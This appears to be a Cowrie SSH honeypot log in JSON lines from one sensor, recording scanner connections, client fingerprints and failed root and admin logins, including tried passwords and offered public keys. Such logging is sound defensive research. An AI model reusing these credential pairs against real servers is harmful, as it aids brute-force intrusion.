{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:18.307281Z","src_ip":"66.132.186.163","session":"81824e287c40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:18.310123Z","src_ip":"66.132.186.163","session":"81824e287c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38998,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8dc85c34764","protocol":"ssh","message":"New connection: 91.92.40.11:38998 (10.17.0.5:22) [session: b8dc85c34764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:22.588607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:22.663207Z","src_ip":"91.92.40.11","session":"b8dc85c34764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:22.735966Z","src_ip":"91.92.40.11","session":"b8dc85c34764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:23.261675Z","src_ip":"91.92.40.11","session":"b8dc85c34764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:24.456709Z","src_ip":"91.92.40.11","session":"b8dc85c34764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.8.116.34","src_port":47604,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62695a02dd9","protocol":"ssh","message":"New connection: 96.8.116.34:47604 (10.17.0.5:22) [session: f62695a02dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.313095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.317235Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.362526Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:22:9c:3e:86:06:0d:9c:ec:4c:95:57:23:35:61:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApBTZAn83Uk2ryKoIiqxxC4m3+/CWSoUxJTwMuzpKLCaWoxtITK9TKSp28Dg7oDloPUIHJ0LU4Ncd9w1Amm2Mj1VSw/zEHvQMkKIKJ1/jchPecT7pJaac5On9agd6ebc5K3CkbcvyEiU33UPKcxkSa3tTK3ftdGSRapsypFr5T3VYsiI6aKTGVYoEfxeWCdCMasQ11F5hdhA52V2xn44drz0M2i5zvyTKvYoywEi/Wh0Rm1AW2nY19UL6Vsv1XePhzgP62XYXd6ra5kOaq4pg8mlQDpBVDkT+mQnkDbrUel5WVEY7eI6mX2rkopaLf/cDGXbgPWM0I+/BuhHjj/XiJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:22:9c:3e:86:06:0d:9c:ec:4c:95:57:23:35:61:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.574695Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:22:9c:3e:86:06:0d:9c:ec:4c:95:57:23:35:61:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApBTZAn83Uk2ryKoIiqxxC4m3+/CWSoUxJTwMuzpKLCaWoxtITK9TKSp28Dg7oDloPUIHJ0LU4Ncd9w1Amm2Mj1VSw/zEHvQMkKIKJ1/jchPecT7pJaac5On9agd6ebc5K3CkbcvyEiU33UPKcxkSa3tTK3ftdGSRapsypFr5T3VYsiI6aKTGVYoEfxeWCdCMasQ11F5hdhA52V2xn44drz0M2i5zvyTKvYoywEi/Wh0Rm1AW2nY19UL6Vsv1XePhzgP62XYXd6ra5kOaq4pg8mlQDpBVDkT+mQnkDbrUel5WVEY7eI6mX2rkopaLf/cDGXbgPWM0I+/BuhHjj/XiJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.577209Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:47:82:82:c8:08:db:3a:e5:73:17:fd:b8:0b:57:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwllPhH5OsT8kmZlmaqM1h4NKDY5/Q9Ve3R87forD4NdrGyQRVCKY3Fi1REdb8c2ccn6hGA4yCwdG7/yJwqBInOWqz7Ey3nqGOKsWBFHxQK2IraW+Gx42qwnvyC56uc15zwhFnLM6QcuvrGK1xPaYWy++1oIzHPmGY+pQ2L6u/MURNo5UpOHsAzyuYavJ/vR/kDkhyBuVjuzopi5D14j4B6ZwLOP6RQMYBuJ8X56nBETt+tCItYv7fY4bVekaYnW/ibUovlta/RacRPaPC+dpF8TqJdmFFOba8E8JClUyrbHngllkynPs6uqtRri2RLZuuP98MQJ53nFUBcpf95IrWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:47:82:82:c8:08:db:3a:e5:73:17:fd:b8:0b:57:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.622928Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:47:82:82:c8:08:db:3a:e5:73:17:fd:b8:0b:57:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwllPhH5OsT8kmZlmaqM1h4NKDY5/Q9Ve3R87forD4NdrGyQRVCKY3Fi1REdb8c2ccn6hGA4yCwdG7/yJwqBInOWqz7Ey3nqGOKsWBFHxQK2IraW+Gx42qwnvyC56uc15zwhFnLM6QcuvrGK1xPaYWy++1oIzHPmGY+pQ2L6u/MURNo5UpOHsAzyuYavJ/vR/kDkhyBuVjuzopi5D14j4B6ZwLOP6RQMYBuJ8X56nBETt+tCItYv7fY4bVekaYnW/ibUovlta/RacRPaPC+dpF8TqJdmFFOba8E8JClUyrbHngllkynPs6uqtRri2RLZuuP98MQJ53nFUBcpf95IrWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.625308Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:f1:eb:86:1b:0a:10:e8:aa:85:13:81:36:3d:19:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcVP8cRGSlj4ppjCKsDloFJ5jvyDdU4LnT1CW8gqyJKjbk2cRN9AniyVLhIquLUMHcsf89eFXuQij8lvbTh5ksPm0WP3S38Kou4bKOU/2/1NI12SHXhQHHlr/0M24WIoqhO23x+NEZke145wuj2UgOZWucDpNPhMkMtwHBfM91ScTgObiWBNT+IcUIR1tuJPRwBxKfdUwGQ9fJfFFH/UOA+Iu3bUuTBQCD0MXtQ7gmNyhCvewv/44iu3LXjkKna+Ro5wA++VYOp/QwiBH1bQm44/wc2KQa8Q5T9TlGlmJO8PNaibGqZ5y4dyKY4QzH55vqvLxvxy4ZZCq98SuIwZjP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:f1:eb:86:1b:0a:10:e8:aa:85:13:81:36:3d:19:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.671503Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:f1:eb:86:1b:0a:10:e8:aa:85:13:81:36:3d:19:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcVP8cRGSlj4ppjCKsDloFJ5jvyDdU4LnT1CW8gqyJKjbk2cRN9AniyVLhIquLUMHcsf89eFXuQij8lvbTh5ksPm0WP3S38Kou4bKOU/2/1NI12SHXhQHHlr/0M24WIoqhO23x+NEZke145wuj2UgOZWucDpNPhMkMtwHBfM91ScTgObiWBNT+IcUIR1tuJPRwBxKfdUwGQ9fJfFFH/UOA+Iu3bUuTBQCD0MXtQ7gmNyhCvewv/44iu3LXjkKna+Ro5wA++VYOp/QwiBH1bQm44/wc2KQa8Q5T9TlGlmJO8PNaibGqZ5y4dyKY4QzH55vqvLxvxy4ZZCq98SuIwZjP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.674136Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:c1:9f:6b:77:7f:7a:02:66:e3:e9:f2:69:a6:b4:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINWDKzmYy9Kc2c6R1oR056ltUdYEMyhp2E2L847Eztiv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0f:c1:9f:6b:77:7f:7a:02:66:e3:e9:f2:69:a6:b4:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.719342Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:c1:9f:6b:77:7f:7a:02:66:e3:e9:f2:69:a6:b4:b1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINWDKzmYy9Kc2c6R1oR056ltUdYEMyhp2E2L847Eztiv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.722100Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:d4:82:42:22:66:3b:61:46:55:5d:b6:d6:44:e1:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTHKqzor8fWLv5xPuDXAe5HGQnchSyvTEQB/eF6zMIVl0/HE5djoQogxu3akP5SppCSeEXYleygAsp0mOWYiXax5GsmXKRCF2qn4jR1qdHkLj6EXxwTaTy22nGPNXhjmhoFFBlCsecYNg/6GR+tjeV23x+EfcgBSX92oAVRa4IW7TCvCKfzqAV28+1G27c1nG4gMy+Ap7yG4UORbepAN8fjlc/o2I41jQZiTycNFcfNJzrSZksbt3ilbwdgfdKMwayyRCeiQ8U7UdPE24hxJttD32MMvsPIhCOYLUg3ZkxTy9ftSnDlT1xWqzXNhNvKH6QQPTG/zcg306/W7gXKxHD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:d4:82:42:22:66:3b:61:46:55:5d:b6:d6:44:e1:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.767342Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:d4:82:42:22:66:3b:61:46:55:5d:b6:d6:44:e1:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTHKqzor8fWLv5xPuDXAe5HGQnchSyvTEQB/eF6zMIVl0/HE5djoQogxu3akP5SppCSeEXYleygAsp0mOWYiXax5GsmXKRCF2qn4jR1qdHkLj6EXxwTaTy22nGPNXhjmhoFFBlCsecYNg/6GR+tjeV23x+EfcgBSX92oAVRa4IW7TCvCKfzqAV28+1G27c1nG4gMy+Ap7yG4UORbepAN8fjlc/o2I41jQZiTycNFcfNJzrSZksbt3ilbwdgfdKMwayyRCeiQ8U7UdPE24hxJttD32MMvsPIhCOYLUg3ZkxTy9ftSnDlT1xWqzXNhNvKH6QQPTG/zcg306/W7gXKxHD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.770346Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:37.816090Z","src_ip":"96.8.116.34","session":"f62695a02dd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"10d75e0f4356","protocol":"ssh","message":"New connection: 103.77.242.62:40304 (10.17.0.5:22) [session: 10d75e0f4356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:40.409753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:40.412947Z","src_ip":"103.77.242.62","session":"10d75e0f4356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:40.649675Z","src_ip":"103.77.242.62","session":"10d75e0f4356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":63200,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ea3468346f","protocol":"ssh","message":"New connection: 38.93.206.2:63200 (10.17.0.5:22) [session: e6ea3468346f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:41.355445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:41.361645Z","src_ip":"38.93.206.2","session":"e6ea3468346f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14061981","message":"login attempt [root/14061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:41.364410Z","src_ip":"103.77.242.62","session":"10d75e0f4356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:41.412349Z","src_ip":"38.93.206.2","session":"e6ea3468346f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamazist.tsobenko","message":"login attempt [root/kamazist.tsobenko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:41.566004Z","src_ip":"38.93.206.2","session":"e6ea3468346f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:42.603681Z","src_ip":"103.77.242.62","session":"10d75e0f4356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:42.617704Z","src_ip":"38.93.206.2","session":"e6ea3468346f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.1","message":"Connection lost after 25.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:43.161323Z","src_ip":"66.132.186.163","session":"81824e287c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":60084,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f28fae63472","protocol":"ssh","message":"New connection: 91.92.40.11:60084 (10.17.0.5:22) [session: 2f28fae63472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:18.792303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:42:18.955748Z","src_ip":"91.92.40.11","session":"2f28fae63472","protocol":"ssh"}
